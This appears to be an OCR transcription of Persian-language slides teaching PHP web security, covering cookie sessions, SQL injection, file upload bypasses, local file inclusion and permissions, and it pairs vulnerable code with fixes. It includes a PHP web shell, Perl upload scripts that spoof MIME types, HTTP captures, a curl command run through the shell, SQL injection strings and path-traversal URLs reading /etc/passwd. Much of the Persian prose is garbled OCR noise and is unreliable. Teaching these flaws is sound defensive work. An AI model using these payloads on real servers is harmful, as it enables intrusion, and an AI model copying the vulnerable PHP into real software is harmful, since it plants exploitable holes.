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General | Security | Privacy | Content | Connections | Programs | Advanced |

Settings
Select a setting for the Internet zone.
= Block All Cookies <—
- Blocks all cookies from all websites
- Cookies that are already on this computer cannot be read
by websites
Import ][Advanced][ Default ]
Location
Never allow websites to request your
(@ physical location Clear Sites
Pop-up Blocker
[¥] Turn on Pop-up Blocker
InPrivate
[V] Disable toolbars and extensions when InPrivate Browsing starts
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1 <?php

2

31ini set('session.cookie httponly', true);

4

5 session start();

6

7 if (isset($ SESSION['last ip']) === false){

8 $ SESSION['last ip'] = $ SERVER['REMOTE_ADDR'];
9}

10

11if ($ SESSION['last ip'] !'== $ SERVER['REMOTE_ADDR']){
12 session_unset();

13 session destroy();

14 }

15

16 7>




5,5 00kt cys 3191 a1y 42 8 9 55 s Sty 42 0
@) S5 Vb S, &5 85wz lgige YU o 0ad ply oS, 5 b Sy 4 axg L
003350 a5 olagiuaw j0 byl 5l soliiwl a5 04 o el (S lawgs ] ad oasojs Hhas ( ogas
Loy S Gl 609290 58, Cdyw & dox 5D paLcl e MG ol cely wledlbl ol

DS oo ooliiul cpdis 9,8 5 0,5 b e 5 (b sbiole eled g, ()l

3575 4 ool UKo g5 sl 4 055 oY 5 S Sl S 8, S a2 45 (5350 o U

D9 ooliwl S9S 5l cnl g 89l oo

S8 55 0 5 1) Jame (Slyedbl Coles S 50 )5 Sl by 5 5SS ozl S s
iz Jloyl 32 a4 )5 e S SY (6,500 ezl )5 el b Se g 09, S8 4 )5 Gla S

0l oslatl 90 o 5l LS 5l aies o s ol o )lse g L jo

Dl bl 4l -

A 4 o splyie al b S oo ) 0 (SLSe S «l0g Ny auss LS s lacule 5l (6 5kem
QN A S TR g e (SR el S gl el a5 0,5 ules] )5 ST Ly
Sloolatwl sgu Wtils  cwyiws (Hloslgls slacl Jio (6313 pa 1 g) 0l s yiwd s O
Lol g oo oolatul ol Slulils glp So5 3l b ol o a8 o Jlad 1) a5 ol (oLl aless sl
4235 ol Wlsicos oad 8y ol o & SIS Jie ogar e S 5o o WS ol l5 51

QS soliinl (g9 slwlds glp cpiew 5 colo T 6 oSS Jlas

Py b0 ygmmg (TS b g5 oL Y

3 ygun Laa> gl g auS colaiul (S5 5l 6,5 pb Lads (gl g a5 cl ol e g, 5l K0 (SO
L g ais oo 5u5Y oobel g oals ol 1) 093 (6,15 o ol 4 05,5 b IS «jg0 opl )0 i

led 35lg 1y 065 0 jguy s S



3 g (P LS Olmio plod I 90 3 ygm 9 5 25U pL

L 555 2 b g 5 SIS o oS el ol lS Cagh S o o Uyl et | e
9 6o pU (ol aS 09l sy plaBl 4555 o 5l o g asio o (Glal jO e g 09b 0 S (i
R T )

gl co S oolw Jsol e 50,50 Cole,y bl 4 gain sl 5l (6l

Sy 1) 085 3 55mm 5 (50,15 pL ((SY s o )L G Ladd IS ST aS 0,5 onins ol 4 Wl
).) B w....Sso o)...'>o Q] )O ‘) 5‘ 6).3)15 r&l.ﬁsoé; Ol?u‘ t;;&ﬁw‘ ‘_glfu...o.co‘o; .b)‘s

!pajthsA Wf*”‘ﬁ nge)tf ﬁB C)i‘dg Cans it Olas

AL SsS sl b coly Lt Wlgioe S a5 Lz ad anles S il iz e s, ol e

lis b (s ppoke o) B ol Olse Ty 093 (1 5o )5 oL e zp0 g e S5 0550

S 0L Se ] Syse 5 L pb bk ateen (S5l eolitul a0 pgas a4 lnle
O PO VSTV SV L I ERS] I U SUVEL SRR SVINLH BN DV U g I Ut PV SOV-J R A K L S
&gl lmio ples glol Jo b cpl g 09 0 7,0 MAIN.PAP LB jo a5 55 oS askd o

00d 3lml 3,9m 5 )5 pL 0 Lg2re sla TS Yl S oo om0 ) 3050 39 2950 AMPOTH)
$ i b ol yuine LT o] U5 ls wledllol Lol 5wl

<?php
if ((isset ($_COOKIE["cookie_username"])) && (isset ($_COOKIE["cookie_password”]))){

$result = mysql_query("SELECT * FROM administrator WHERE
‘username’ = \"§_COOKIE [cookie_username]\"
AND “password® = \"§_COOKIE [cookie_password]\""):
$r = mysql_fetch_array ($result):;
$number = mysql_num rows ($result);
}
if ((!isset ($_COOKIE["cookie_username”])) || (!isset ($_COOKIE["cookie_password”])) || ($number == 0)){
header ("Location: logout.php”):

}
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b &l
MD4 (128 bits, obsolete)
MDS5 (128 bits)
RIPEMD-160 (160 bits)
SHA-1 (160 bits)
longer versions of SHA-1, with slightly different designs (SHA-256,
SHA-384, and SHA-512)

O O O O O
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SHA-1(Secure hash algorithm)  MDS axiis luog asl p ooliwl 5,90 a5 Lol oy Fogame
ol 0,5 e eolizul DES(Data Encryption Standard) ;i « 5 a8 slapius il o
SHA- sl (55595 slapin ;551 005 (cod Cgmme 53,5 (20 (598 Uby, o S0 (S OF s,
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if(isset ($_POST["username”]))

{

$_POST["username"];
shal (§_POST ["password"]);

o
o oo
w
o

$result = mysql_query("SELECT * FROM administrator WHERE
‘username’ = '$un' AND ‘password® = '§ps'"):
$nums = mysql_num rows($result);

if ($nums>0) {
setcookie ("cookie_username”, $_POST["username”], time()+3600);
setcookie ("cookie_password”, $ps, time()+3600);
header ("Location: index.php”):
}
else {
g¢error_login = 1;

}
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d="'§_POST [password]'";
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SELECT FROM “users’
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SELECT FROM “users WHERE username 'a';DROP TABLE users;..
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$query = sprintf("SELECT * FROM ‘users' WHERE
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AND
password="'%s'",
mysql_real_escape_string(
mysql_real_escape_string(
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mysql_query($query):
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a';DROP TABLE users;

SELECT * FROM userinfo WHERE 't' = 't
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upload1.html L6 ol g

<form name="upload" action="uploadl.php" method="POST"
ENCTYPE="multipart/formdata">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">

</form>
: B ooss o5l.ﬂs pd oaisS Joo axino -V
upload1.php Lt <bsioxe
<?php
Suploaddir = 'uploads/'; // Relative path under webroot
$uploadfile = Suploaddir . basename ($ FILES['userfile']['name']);
if (move uploaded file($ FILES['userfile']['tmp name'], S$uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {

echo "File uploading failed.\n";
}

?>
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(wlos S o w33 Shell.php

<?php
system($ GET['command']);
2>

woo,lal b1y salgs o a5 Sloyd ,o sl o S wei sgbT Web Server G gy, LG ol 3]

“&Lg‘f?yﬁjbw)ﬂ
http://server/shell.php?command=any_ Unix_shell command
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Lor 9, @ |, shell.php Lk upload1.php LG ;l eolecal b as Perl oLy 4 co Sul S

#!/usr/bin/perl

use LWP; # we are using libwwwperl

use HTTP::Request: :Common;
= = LWP::UserAgent->new; # UserAgent is an HTTP client
= ->request (POST 'http://localhost/uploadl.php', # send POST

request

Content Type => 'form-data', # The content type is

# multipart/form-data the standard for form-based file uploads

Content => [

userfile => ["shell.php", "shell.php"], # The body of the

# request will contain the shell.php file

1,

);

print ->as string(); # Print out the response from the server

cily 5 Jloyl Sl iz S Lol 1) el YU laus gsl> a5 uploadt.pl b 3,
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POST /uploadl.php HTTP/1.1
TE: deflate,gzip;g=0.3
Connection: TE, close
Host: localhost




User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY

-—xXYzZ7ZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain

<?php
system($ GET['command']);
2>

-—xYzZ2Y—

HTTP/1.1 200 OK

Date: Wed, 13 Jun 2007 12:25:32 GMT

Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48

Connection: close

Content-Type: text/html

File is valid, and was successfully uploaded.

Ll 5 g0 |y Shell slale s quilys oo o 0gbT cussge L Shell.php Ll asol 51 o

o Lod

$ curl http://localhost/uploads/shell.php?command=id
uid=81 (apache) gid=81 (apache) groups=81 (apache)
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upload2.php LG sl

<?php
if ($ FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
Suploaddir = 'uploads/';
$uploadfile = Suploaddir . basename ($ FILES['userfile']['name']);
if (move uploaded file($ FILES['userfile']['tmp name'], S$uploadfile)) {

echo "File is valid, and was successfully uploaded.\n";

}

else

{
echo "File uploading failed.\n";

}
?>

MIME £9 dalp S WSe 5l e ol b L5 ogliT 4 pladl Sa 5108 axkd ol 5l solaswl b
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POST /upload2.php HTTP/1.1

TE: deflate,gzip;g=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156

--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain

<?php
system($ GET['command']);
2>

-——xYz7ZY—

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41

Connection: close

Content-Type: text/html

AR




Sorry, we only allow uploading GIF images
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#!/usr/bin/perl

#

use LWP;

use HTTP::Request::Common;

Sua = Sua = LWP::UserAgent->new;;

Sres = Sua->request (POST 'http://localhost/upload2.php',
Content Type => 'form-data',

Content => [

userfile => ["shell.php", "shell.php", "Content-Type" =>
"image/gif"],

1,

) i

print S$res->as string();

POST /upload2.php HTTP/1.1

TE: deflate,gzip;g=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155

--xYzZzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif

<?php
system($ GET['command']);
2>

-——xYz7ZY—

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 14:02:11 GMT

Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo

Content-Length: 59

Connection: close

Content-Type: text/html

<pre>File is wvalid, and was successfully uploaded.
</pre>
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upload3.php L lge

<?php
$imageinfo = getimagesize ($ FILES['userfile']['tmp name']);
if (Simageinfo['mime'] != 'image/gif' && S$imageinfo['mime'] != 'image/jpeg')

{
echo "Sorry, we only accept GIF and JPEG images\n";

exit;
}
Suploaddir = 'uploads/';
$uploadfile = Suploaddir . basename ($ FILES['userfile']['name']);
if (move uploaded file($ FILES['userfile']['tmp name'], S$uploadfile)) {

echo "File is valid, and was successfully uploaded.\n";
} else {

echo "File uploading failed.\n";
}

?>
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POST /upload3.php HTTP/1.1

TE: deflate,gzip;g=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155

--xYz72Y

Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif

<?php
system($ GET['command']);
2>

-—xYz7Z2Y—

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo

Yy




Content-Length: 42
Connection: close
Content-Type: text/html

Sorry, we only accept GIF and JPEG images
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#!/usr/bin/perl
#

use LWP;
use HTTP::Request::Common;

Sua = Sua = LWP::UserAgent->new;;

Sres = Sua->request (POST 'http://localhost/upload3.php',
Content Type => 'form-data',
Content => [
userfile => ["c.gif", "c.php", "Content-Type" => "image/gif"],1,
) i
print S$res->as string();

D9 0 Sl pj Oyge 4 HTTP lols G (ol ol sl b

POST /upload3.php HTTP/1.1

TE: deflate,gzip;g=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY

Y¥




Content-Length: 14835

--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

GIF89%a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of
binary data ...)
--xYzZY--

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59

Connection: close

Content-Type: text/html

<pre>File is wvalid, and was successfully uploaded.
</pre>
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[system Linux shiny 2.6.18-gentoo-r6 #1 PREEMPT Sun Jan 14 22:56:34 CET 2007 i686
Build Date Jan 16 2007 19:15:55

Configure Command * configure’ “fusr/libiphpd/sharefconfig site’ “usrdibphpd/etciconfig site

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path letciphpiapache2-phpdiphp.ini
Scan this dir for additional .ini files | /etciphplapache2-phpd/ext-active

PHP API 20020918
PHP Extension 20020429

|zend Extension 20050606

Debug Build no

Zend Memory Manager enabled

Thread Safety disabled

Registered PHP Streams php, http, ftp, hitps, ftps, compress2lib

This program makes use of the Zend Scripting Language Engine:
Zend Engine v1.3.0, Copyright {c) 1998-2004 Zend Technologies

PHP Credits
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upload4.php Lt b g

<?php
S$blacklist = array(".php", ".phtml", ".php3", ".php4");
foreach ($Sblacklist as $item)
{
if (preg match("/$item\$/i", S FILES['userfile']['name']))

{
echo "We do not allow uploading PHP files\n";

exit;
}
}
Suploaddir = 'uploads/';
$uploadfile = Suploaddir . basename ($ FILES['userfile']['name']);
if (move uploaded file($ FILES['userfile']['tmp name'], $uploadfile))

{

echo "File is valid, and was successfully uploaded.\n";
} else {

echo "File uploading failed.\n";
}

?>

as ‘”Suf )y breg match("/$item\$/i", $_FILES['userfile']['name']) CUL‘
WS oo aseioe S| Lol jo T Gy agis o> Bblacklist 4l s lse 51 o4 B) LB ab slezs!
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POST /upload4.php HTTP/1.1

TE: deflate,gzip;g=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835

--xYzzZY

Y¢




Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(...skipping binary data...)

-——xYz7Z2Y—

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36

Connection: close

Content-Type: text/html

We do not allow uploading PHP files

(il putlg g d9bT.QIf Wgo L LB S

POST /upload4.php HTTP/1.1

TE: deflate,gzip;g=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835

-—-xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif

GIF89(...skipping binary data...)
-—-xXYzZY—

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59

Connection: close

Content-Type: text/html

<pre>File is wvalid, and was successfully uploaded.
</pre>
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File Edit View History Bookmarks Tools Help
/L_:: http://localhost/uploads/c.gif v @vi@oogle \
Done |@ | FoxyProxy: Patterns |

Fogs wall |y pw ol 0, 8los g canciis LS coly JLS L oles oo LT coles ol b aogs
Los ailawlie

5 01 (S gy Slalati 4y s (B3loy g dez i PHP 2 0 lawg Slewisuy 4z oSyl
prlosss 1) o yg sy Lo 3,08 355 55 pug Sloglas (55, BT U8 b Sledlbl ¢y giaoliy Ygans
e S 3l g Jluyl PHP 1581 a5 4y 1, jS L Ml glasigey a5 wiloads aelass g sb oS
Lyl opl 0 g Kigd aex 3 PHP L jpeg 4 .gif laigus a5 aial atils LS laasl p (S p ol
oz 5l o oSe a5 Lul 8 8 pgas 4) 1518 3535 wSe 45 0ad e oS daki gl > las Toases

(Wgd oo Sl jgm s9, PHP co p Sl 6 32,0 5l bgy )90 4 b jlages 5 il S
QAT 0,00 092 (cuend gd (Nigd oo das ) PHP L ebdiguns o@odwb@ﬁ! s
S aiiS galh aen o o 55 Sl (Kas II 525 0an] 5 Blaglais gz aslyy Sy e Lo

&:t.u." Ql "l.... O.‘—dg’ - '|5 . . - “. ‘

YA



o SglT S B A maivund g (i g
5 ol el als ogh T L 4 e (g yiwd 5l 65 ol Vb Wi 28, sl o> oy 5l SO
I rSsla 5 Dy 50 adsy oy 25lT L5 (Dg)) WWW Sl )15 (sladgy ;o (bl a5kl L wilss e

upload5.php Lt ol gie

<?php

Suploaddir = '/var/spool/uploads/'; # Outside of web root
$uploadfile = Suploaddir . basename ($ FILES['userfile']['name']);

if (move uploaded file($ FILES['userfile']['tmp name'], $uploadfile))

{

echo "File is valid, and was successfully uploaded.\n";

}
else

{
echo "File uploading failed.\n";
}

?>

Sl oalply sl walsss owiws Ivar/spool/uploads/ ass a Ludies 5,5 YU Jle o
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viewd.php L6 ol s

<?php

Suploaddir = '/var/spool/uploads/';
$name = $ GET['name'];

readfile (Suploaddir.Sname) ;

?>
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http://www.example.com/view5.php?name=../../../etc/passwd
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Local file inclusion attack .1 4 ~asl ;s 45 558 Sbas alas o comgo wlg3 oo I o]

Qs..u‘sa ass

S 6l S (b Al wir Cole Sl 18 0T (558 0eh (atie e gedse Sl Gl
lang oL 4 (565 < ol bl 4 i b Yl .asS o ol [, ENGLISh )L g o ol o)

5 oo INClude |, english.php

<?php
# ... some code here
if(isset($_COOKIE['lang'}))
{
$lang = $ COOKIE['lang'];
}
elseif (isset($ GET['lang']))
{
$lang = $ GET['lang'];
}
else
{

$lang = 'english';
}
include ("language/$lang.php") ;
# ... some more code here
?>

b obesex Cule s, 3 PP Wgew b (LB o o5 iNClude sl 1, So coavs Soe 5 ol b

lolaslis
& Gike 2 g0 b1, (S5 Soly 4 wgdoe onilsm (S5 51 BB L &S (69)l9e 0 Wl e S
oo o g T S5 Zenlss

S timp/phpinfo
95 325 ool 4 S 0 G8T ool Jlg slaall sk 5 STL

http://www.example.com/local include.php?lang=../../../../../../..[tmp/phpinfo

1 . . .
Local file inclusion attacks




File Edit View History Bookmarks Tools Help

4 Kot

@ v _/ v @ X fﬁ ]L) http://localhost/local_include.php?lang=../../../..1..[..1../tmp/phpinfo

|»

System Linux shiny 2.6.18-gentoo-r6 #1 PREEMPT Sun Jan 14 22:56:34 CET 2007 i686
Build Date Jan 16 2007 19:15:55

Configure Command *feonfigure’ “Musriibiphp4isharefconfig site’ ‘usriibiphpdletciconfig.site’

Server APl Apache 2.0 Hancller

Virtual Directory Support disabled

Configuration File (php.ini) Path letciphplapache2-phpdiphp.ini
Scan this dir for additional .ini files | /etciphpliapache2-phpdjext-active
20020918 I
4| | i

Done |4\ | FoxyProxy: Patterns |4

,» & "languagel/../..[.[. . . ] [tmp/phpinfo.php" LB a5 ses o cel Slo1,8 0l
logss > el "ftmp/phpinfo.php" ;e cis
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<?php
# ... some code here
if (isset ($ COOKIE['lang']))
{

$lang _id = sprintf("%d",$ COOKIE['lang'l);
}
elseif (isset($ GET['lang']))
{

$lang_id = sprintf("%d",$ GET['lang']);
}
else
{

Slang id = 1;
}
$la1’1g = n vv,.
switch ($lang id)
{

case 1:

S$lang = "english";

AR




break;

case :
$lang = "persian";
break;

case 3:
$lang = "arabic";
break;

default:

die('Invalid Language!');

break;
}

include ("language/$lang.php") ;
# ... some more code here
2>
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upload6.php Lt ol s

<?php

require once 'DB.php'; # We are using PEAR::DB module

Suploaddir = '/var/spool/uploads/'; # Outside of web root

Suploadfile = tempnam(Suploaddir, "upload "); # creating a unique name
if (move uploaded file($ FILES['userfile']['tmp name'], Suploadfile)) {

# Saving information about this file in the DB
$db =& DB::connect ("mysqgl://username:password@localhost/database") ;
if (PEAR: :isError (Sdb)) {
unlink (Suploadfile) ;
die "Error connecting to the database";
}
$res = $db->query ("INSERT INTO uploads SET name=?, original name=?,
mime type=?",
array (basename (Suploadfile,
basename ($ FILES['userfile']['name'l]),
$ FILES['userfile']['type'l));
if (PEAR: :isError (Sres)) {
unlink (Suploadfile) ;
die "Error saving data to the database. The file was not uploaded";
}
$id = Sdb->getOne ('SELECT LAST INSERT ID() FROM uploads');# MySQL specific
echo "File is wvalid, and was successfully uploaded. You can view it <a
href=\"view6.php?id=$id\">here</a>\n";
} else ({
echo "File uploading failed.\n";
}

?>
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<?php
require once 'DB.php';

1 . .
Reference implementation
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Suploaddir = '/var/spool/uploads/';
$id = $ GET['id'];
if (!is_numeric($id)) {
die("File id must be numeric");
}
$db =& DB::connect ("mysqgl://root@localhost/db") ;
if (PEAR: :isError (Sdb)) {
die ("Error connecting to the database");
}
$file = $db->getRow ('SELECT name, mime type FROM uploads WHERE id=?',
array ($id), DB _FETCHMODE ASSOC) ;
if (PEAR: :isError (S$Sfile)) {
die ("Error fetching data from the database");
}
if (is null($file) || count($file)==0) ({
die ("File not found");
}

header ("Content-Type: " . S$file['mime type'l);
readfile (Suploaddir.S$file['name']) ;
?>
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+~ Index Manager

The Index Manager allows you to customize the way a direq
default style, no indexes, or two types of indexing. If you d
choose "No Indexing”.

'~ /home/aftabgar/public_html/admin
Default System Setting
@ No Indexing
Standard Indexing (filename only)
Fancy Indexing (filename and description)

Save |
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X Change Permissions

File(s):

Jpublic_html/_test
Mode User Group
Read v v
Write 72
Execute v F
Permission 7 5

World
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AuthUserFile /.htpasswd

AuthName "Name of Page"

AuthType Basic

<Files "mypage.html">
require valid-user

</Files>
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http://PHP.net
http://WikiPedia.org
http://www.scanit.be

http://forums.hexus.net/software/133718-website-folder-permissions-set-
777-whats-risk.ntml

http://aftab.cc



